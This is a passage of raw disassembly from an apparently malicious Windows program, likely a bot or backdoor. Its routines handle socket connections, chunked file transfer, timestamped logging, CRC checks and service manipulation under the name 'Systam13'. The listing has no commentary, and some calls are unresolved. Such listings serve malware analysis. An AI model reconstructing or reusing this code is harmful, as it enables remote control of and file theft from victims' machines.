unk_42DF08 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BDE5: ; CODE XREF: sub_40BC4B+B7j lea eax, [ebp+var_55C] push offset dword_42DEDC push eax call sub_4172AE mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_40BE17 ; --------------------------------------------------------------------------- loc_40BDFD: ; CODE XREF: sub_40BC4B+153j push offset unk_42DEA0 jmp short loc_40BE09 ; --------------------------------------------------------------------------- loc_40BE04: ; CODE XREF: sub_40BC4B+17Bj push offset unk_42DE60 loc_40BE09: ; CODE XREF: sub_40BC4B+191j ; sub_40BC4B+198j ... lea eax, [ebp+var_55C] push eax call sub_4172AE pop ecx pop ecx loc_40BE17: ; CODE XREF: sub_40BC4B+1B0j cmp [ebp+var_1D4], ebx jnz short loc_40BE42 push ebx lea eax, [ebp+var_55C] push [ebp+var_1D0] push eax lea eax, [ebp+var_258] push eax push [ebp+var_35C] call sub_40D679 add esp, 14h loc_40BE42: ; CODE XREF: sub_40BC4B+1D2j lea eax, [ebp+var_55C] push eax call sub_40BF6D pop ecx push esi call dword_43F69C push [ebp+var_4] call dword_43F69C push [ebp+var_1D8] call sub_417076 pop ecx push ebx nop call near ptr 25F0320h pop edi pop esi pop ebx sub_40BC4B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE75 proc near ; CODE XREF: sub_40EE72+448Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_444340 mov edi, 0B8h loc_40BE89: ; CODE XREF: sub_40BE75+33j cmp byte ptr [esi], 0 jz short loc_40BEAC push [ebp+arg_0] push esi call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_40BEAC inc [ebp+var_4] add esi, edi cmp esi, offset dword_444EC0 jl short loc_40BE89 jmp short loc_40BEEE ; --------------------------------------------------------------------------- loc_40BEAC: ; CODE XREF: sub_40BE75+17j ; sub_40BE75+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_444340[esi] push ebx call sub_417330 push 17h push [ebp+arg_0] push ebx call sub_418C10 push 9Fh lea eax, dword_444358[esi] push [ebp+arg_4] push eax call sub_418C10 add esp, 24h inc dword_4313B4 pop ebx loc_40BEEE: ; CODE XREF: sub_40BE75+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40BE75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BEF5 proc near ; CODE XREF: sub_40EE72+5B56p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_42DF90 push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h xor edi, edi mov esi, offset dword_444340 loc_40BF1F: ; CODE XREF: sub_40BEF5+72j cmp byte ptr [esi], 0 jz short loc_40BF5A lea eax, [esi+18h] push eax push esi push edi push offset dword_42DF84 lea eax, [ebp+var_200] push 200h push eax call sub_41782A push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch loc_40BF5A: ; CODE XREF: sub_40BEF5+2Dj add esi, 0B8h inc edi cmp esi, offset dword_444EC0 jl short loc_40BF1F pop edi pop esi leave retn sub_40BEF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BF6D proc near ; CODE XREF: sub_401000+9Ap ; sub_4010B5+314p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 2610000h mov ebx, offset dword_443A34 mov edi, 80h mov esi, offset dword_43FA34 loc_40BF8F: ; CODE XREF: sub_40BF6D+3Dj cmp byte ptr [ebx], 0 jz short loc_40BFA6 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_418C10 add esp, 0Ch loc_40BFA6: ; CODE XREF: sub_40BF6D+25j sub ebx, edi cmp ebx, esi jge short loc_40BF8F movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41782A add esp, 28h pop edi pop esi pop ebx leave retn sub_40BF6D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFE1 proc near ; CODE XREF: sub_407BDE+15Bp ; ___:00407F15p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_4193FF lea eax, [ebp+var_80] push eax call sub_40BF6D add esp, 14h leave retn sub_40BFE1 endp ; =============== S U B R O U T I N E ======================================= sub_40C00D proc near ; CODE XREF: sub_40EE72+5A4Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_43FA34 xor ecx, ecx loc_40C014: ; CODE XREF: sub_40C00D+13j mov [eax], cl add eax, 80h cmp eax, offset dword_443A34 jl short loc_40C014 cmp [esp+arg_C], ecx push esi mov esi, offset dword_42DFC4 jnz short loc_40C044 push ecx push [esp+8+arg_8] push esi push [esp+10h+arg_4] push [esp+14h+arg_0] call sub_40D679 add esp, 14h loc_40C044: ; CODE XREF: sub_40C00D+1Fj push esi call sub_40BF6D pop ecx pop esi retn sub_40C00D endp ; =============== S U B R O U T I N E ======================================= sub_40C04D proc near ; CODE XREF: sub_402DD7+2AEp arg_0 = dword ptr 4 push esi mov esi, offset dword_43FA34 loc_40C053: ; CODE XREF: sub_40C04D+27j cmp byte ptr [esi], 0 jz short loc_40C068 push [esp+4+arg_0] push esi call sub_40A96F pop ecx test eax, eax pop ecx jnz short loc_40C07A loc_40C068: ; CODE XREF: sub_40C04D+9j add esi, 80h cmp esi, offset dword_443A34 jl short loc_40C053 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40C07A: ; CODE XREF: sub_40C04D+19j push 1 pop eax pop esi retn sub_40C04D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C07F proc near ; DATA XREF: sub_40EE72+5B00o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_40C0D2 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_42E018 push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C0D2: ; CODE XREF: sub_40C07F+33j cmp [ebp+var_98], 0 jz short loc_40C0F2 lea eax, [ebp+var_98] push eax call sub_41781F test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_40C0F2 mov [ebp+var_8], eax loc_40C0F2: ; CODE XREF: sub_40C07F+5Aj ; sub_40C07F+6Ej and [ebp+arg_0], 0 mov esi, offset dword_43FA34 loc_40C0FB: ; CODE XREF: sub_40C07F+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_40C155 cmp byte ptr [esi], 0 jz short loc_40C144 cmp [ebp+var_98], 0 jz short loc_40C12A cmp [ebp+var_4], 0 jnz short loc_40C12A lea eax, [ebp+var_98] push eax push esi call sub_40A96F pop ecx test eax, eax pop ecx jz short loc_40C144 loc_40C12A: ; CODE XREF: sub_40C07F+90j ; sub_40C07F+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C144: ; CODE XREF: sub_40C07F+87j ; sub_40C07F+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_443A34 jl short loc_40C0FB loc_40C155: ; CODE XREF: sub_40C07F+82j lea eax, [ebp+var_31C] push offset dword_42DFEC push eax call sub_4172AE xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_40C18F push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_40D679 add esp, 14h loc_40C18F: ; CODE XREF: sub_40C07F+EEj lea eax, [ebp+var_31C] push eax call sub_40BF6D push [ebp+var_18] call sub_417076 pop ecx pop ecx push esi nop call near ptr 25F0320h pop edi pop esi sub_40C07F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C1AE proc near ; CODE XREF: sub_40AC42+1Ep ; ___:0040E9EFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_42E038 xor esi, esi mov ebx, offset aSystam13 ; "Systam13" loc_40C1C1: ; CODE XREF: sub_40C1AE+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_43F61C cmp [ebp+arg_0], esi jz short loc_40C1FB push [ebp+arg_0] call sub_417AB0 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_43F68C jmp short loc_40C205 ; --------------------------------------------------------------------------- loc_40C1FB: ; CODE XREF: sub_40C1AE+2Fj push ebx push [ebp+var_4] call dword_43F5D4 loc_40C205: ; CODE XREF: sub_40C1AE+4Bj push [ebp+var_4] call dword_43F644 add edi, 8 cmp edi, offset dword_42E050 jb short loc_40C1C1 pop edi pop esi pop ebx leave retn sub_40C1AE endp ; =============== S U B R O U T I N E ======================================= sub_40C21E proc near ; CODE XREF: sub_40C259+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_40C253 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_40C237: ; CODE XREF: sub_40C21E+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_424298[eax*4] xor esi, eax inc edx dec edi jnz short loc_40C237 pop edi pop ebx loc_40C253: ; CODE XREF: sub_40C21E+Ej mov eax, esi pop esi not eax retn sub_40C21E endp ; =============== S U B R O U T I N E ======================================= sub_40C259 proc near ; CODE XREF: sub_40CAF1+24Ap var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_417B89 mov [esp+10h+var_10], offset aRb ; "rb" push [esp+10h+arg_0] mov esi, eax call sub_4179A8 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_40C2A8 loc_40C27E: ; CODE XREF: sub_40C259+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_40C2AC inc ebx push ebx push esi call sub_41944F mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40C2A8 push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_418A86 add esp, 10h jmp short loc_40C27E ; --------------------------------------------------------------------------- loc_40C2A8: ; CODE XREF: sub_40C259+23j ; sub_40C259+39j xor eax, eax jmp short loc_40C2C7 ; --------------------------------------------------------------------------- loc_40C2AC: ; CODE XREF: sub_40C259+29j dec ebx push ebx push esi call sub_40C21E push esi mov ebx, eax call sub_417C3B push edi call sub_417900 add esp, 10h mov eax, ebx loc_40C2C7: ; CODE XREF: sub_40C259+51j pop edi pop esi pop ebx retn sub_40C259 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C2CB proc near ; CODE XREF: sub_40C351+33p ; sub_40C8B4+BCp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_43F6E8 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_40C347 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_43F668 push [ebp+arg_0] mov [ebp+var_E], ax call dword_43F6A8 cmp eax, esi jnz short loc_40C32C push [ebp+arg_0] call dword_43F6EC test eax, eax jz short loc_40C347 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_40C32C: ; CODE XREF: sub_40C2CB+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_43F610 cmp eax, esi jnz short loc_40C34B push edi call dword_43F700 loc_40C347: ; CODE XREF: sub_40C2CB+1Bj ; sub_40C2CB+58j mov eax, esi jmp short loc_40C34D ; --------------------------------------------------------------------------- loc_40C34B: ; CODE XREF: sub_40C2CB+73j mov eax, edi loc_40C34D: ; CODE XREF: sub_40C2CB+7Ej pop edi pop esi leave retn sub_40C2CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C351 proc near ; DATA XREF: sub_40EE72+A88o var_11B4 = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_40C2CB mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_40C3E4 lea eax, [ebp+var_11B4] push offset dword_42E0D4 push eax call sub_4172AE xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C3C7 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C3C7: ; CODE XREF: sub_40C351+59j lea eax, [ebp+var_11B4] push eax call sub_40BF6D push [ebp+var_10] call sub_417076 pop ecx pop ecx push esi call near ptr 25F0320h nop loc_40C3E4: ; CODE XREF: sub_40C351+3Fj push offset byte_43C80C push ebx call sub_40B56C pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40C44F lea eax, [ebp+var_11B4] push offset dword_42E094 push eax call sub_4172AE xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_40C42B push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C42B: ; CODE XREF: sub_40C351+BDj lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43F700 push [ebp+var_10] call sub_417076 pop ecx push esi call near ptr 25F0320h nop loc_40C44F: ; CODE XREF: sub_40C351+A3j push 64h call near ptr 26004EDh nop xor edi, edi mov esi, 1000h loc_40C45E: ; CODE XREF: sub_40C351+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_43F680 test eax, eax jle short loc_40C4BB lea eax, [ebp+var_11B4] push offset asc_42A660 ; "\n" push eax call sub_4179D0 lea eax, [ebp+var_11B4] push eax call sub_40B358 add esp, 0Ch test eax, eax jz short loc_40C4BB push 64h call near ptr 26004EDh nop push 7 call sub_416FA2 test eax, eax pop ecx jnz short loc_40C45E loc_40C4BB: ; CODE XREF: sub_40C351+130j ; sub_40C351+154j lea eax, [ebp+var_11B4] push offset dword_42E050 push eax call sub_4172AE cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_40C4EE push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_40D679 add esp, 14h loc_40C4EE: ; CODE XREF: sub_40C351+180j lea eax, [ebp+var_11B4] push eax call sub_40BF6D pop ecx push ebx call dword_43F700 push [ebp+var_10] call sub_417076 pop ecx push edi call near ptr 25F0320h nop sub_40C351 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C512 proc near ; DATA XREF: sub_40EE72+4A7Co var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_40C560 push offset dword_42E258 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C560: ; CODE XREF: sub_40C512+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_43F668 mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_43F694 test eax, eax jz short loc_40C59E push offset dword_42E224 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C59E: ; CODE XREF: sub_40C512+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_43F60C push [ebp+var_2E] call dword_43F5A4 mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_417AB0 pop ecx loc_40C5D0: ; CODE XREF: sub_40C512+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_40C5E3 push 5Fh pop eax jmp short loc_40C5E6 ; --------------------------------------------------------------------------- loc_40C5E3: ; CODE XREF: sub_40C512+CAj movsx eax, al loc_40C5E6: ; CODE XREF: sub_40C512+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_417AB0 cmp [ebp+arg_0], eax pop ecx jbe short loc_40C5D0 push ebx push edi call dword_43F690 test eax, eax jz short loc_40C619 push offset dword_42E0D4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C619: ; CODE XREF: sub_40C512+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax nop call near ptr 2640000h cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40C643 push offset dword_42E1F4 jmp loc_40C719 ; --------------------------------------------------------------------------- loc_40C643: ; CODE XREF: sub_40C512+125j push esi push eax nop call near ptr 2680000h mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AEE0 pop ecx push eax call dword_43F6A8 push eax call dword_43F664 push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_42E1DC push eax call sub_4172AE push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_43F650 test eax, eax jg short loc_40C6F3 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_42E1B4 push eax push [ebp+var_1FC] call sub_40D679 jmp loc_40C817 ; --------------------------------------------------------------------------- loc_40C6F3: ; CODE XREF: sub_40C512+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_43F6FC cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_40C72C push offset dword_42E180 loc_40C719: ; CODE XREF: sub_40C512+49j ; sub_40C512+87j ... lea eax, [ebp+var_3FC] push eax call sub_4172AE pop ecx pop ecx jmp loc_40C81A ; --------------------------------------------------------------------------- loc_40C72C: ; CODE XREF: sub_40C512+200j push edi call dword_43F700 cmp [ebp+arg_0], esi jz loc_40C7DE mov edi, 400h loc_40C741: ; CODE XREF: sub_40C512+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_40C74E mov [ebp+var_4], eax loc_40C74E: ; CODE XREF: sub_40C512+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_417330 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call near ptr 26C0000h nop lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] nop call near ptr 2621026h push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_43F6B8 mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_43F680 cmp eax, ebx jl loc_40C873 mov eax, [ebp+var_4] cmp eax, ebx jl loc_40C873 sub [ebp+arg_0], eax jnz loc_40C741 mov edi, [ebp+var_18] loc_40C7DE: ; CODE XREF: sub_40C512+224j push [ebp+var_8] nop call near ptr 2621906h push [ebp+var_C] push [ebp+var_10] call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1E0] push eax push [ebp+var_44] call dword_43F6F4 push eax lea eax, [ebp+var_3FC] push offset dword_42E130 push eax call sub_4172AE loc_40C817: ; CODE XREF: sub_40C512+1DCj add esp, 14h loc_40C81A: ; CODE XREF: sub_40C512+215j cmp [ebp+var_50], esi jnz short loc_40C83F push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_40D679 add esp, 14h loc_40C83F: ; CODE XREF: sub_40C512+30Bj lea eax, [ebp+var_3FC] push eax call sub_40BF6D cmp edi, esi pop ecx jbe short loc_40C857 push edi call dword_43F700 loc_40C857: ; CODE XREF: sub_40C512+33Cj push [ebp+var_1F8] call dword_43F700 push [ebp+var_58] call sub_417076 pop ecx push esi nop call near ptr 25F0320h loc_40C873: ; CODE XREF: sub_40C512+2AFj ; sub_40C512+2BAj push esi mov esi, offset dword_42E108 push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_40D679 push esi call sub_40BF6D add esp, 18h push [ebp+var_1F8] call dword_43F700 push [ebp+var_58] call sub_417076 pop ecx push ebx nop call near ptr 25F0320h sub_40C512 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8B4 proc near ; DATA XREF: sub_40EE72+7C0o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push 104h push eax nop call near ptr 2600552h lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset aSS_2 ; "%s%s" push eax call sub_4172AE add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call near ptr 2640000h nop cmp eax, 0FFFFFFFFh jnz short loc_40C93E push offset dword_42E350 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C93E: ; CODE XREF: sub_40C8B4+81j push eax nop call near ptr 2621906h lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_4179A8 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40C966 push offset dword_42E310 jmp short loc_40C984 ; --------------------------------------------------------------------------- loc_40C966: ; CODE XREF: sub_40C8B4+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_40C2CB pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_40C997 push offset dword_42E2E0 loc_40C984: ; CODE XREF: sub_40C8B4+88j ; sub_40C8B4+B0j lea eax, [ebp+var_4C4] push eax call sub_4172AE pop ecx pop ecx jmp loc_40CA93 ; --------------------------------------------------------------------------- loc_40C997: ; CODE XREF: sub_40C8B4+C9j mov esi, 1000h loc_40C99C: ; CODE XREF: sub_40C8B4+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_43F680 mov edi, eax cmp edi, ebx jz loc_40CA63 cmp edi, 0FFFFFFFFh jz short loc_40CA04 push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_4196EF add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_43F664 mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_43F6B8 jmp short loc_40C99C ; --------------------------------------------------------------------------- loc_40CA04: ; CODE XREF: sub_40C8B4+118j lea eax, [ebp+var_4C4] push offset dword_42E108 push eax call sub_4172AE push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 lea eax, [ebp+var_4C4] push eax call sub_40BF6D push [ebp+var_4] call sub_417900 add esp, 24h push [ebp+arg_0] call dword_43F700 push [ebp+var_1C] call sub_417076 pop ecx push 1 nop call near ptr 25F0320h loc_40CA63: ; CODE XREF: sub_40C8B4+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_40D01A pop ecx pop ecx push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_4C4] push offset dword_42E28C push eax call sub_4172AE add esp, 14h loc_40CA93: ; CODE XREF: sub_40C8B4+DEj cmp [ebp+var_14], ebx jnz short loc_40CAB8 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_40D679 add esp, 14h loc_40CAB8: ; CODE XREF: sub_40C8B4+1E2j lea eax, [ebp+var_4C4] push eax call sub_40BF6D cmp [ebp+var_4], ebx pop ecx jz short loc_40CAD3 push [ebp+var_4] call sub_417900 pop ecx loc_40CAD3: ; CODE XREF: sub_40C8B4+214j cmp [ebp+arg_0], ebx jbe short loc_40CAE1 push [ebp+arg_0] call dword_43F700 loc_40CAE1: ; CODE XREF: sub_40C8B4+222j push [ebp+var_1C] call sub_417076 pop ecx push ebx nop call near ptr 25F0320h sub_40C8B4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAF1 proc near ; DATA XREF: sub_40EE72+381Eo ; sub_40EE72+3F6Do var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_43F618 call dword_43F578 cmp eax, esi mov [ebp+var_18], eax jz loc_40CF7D push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call 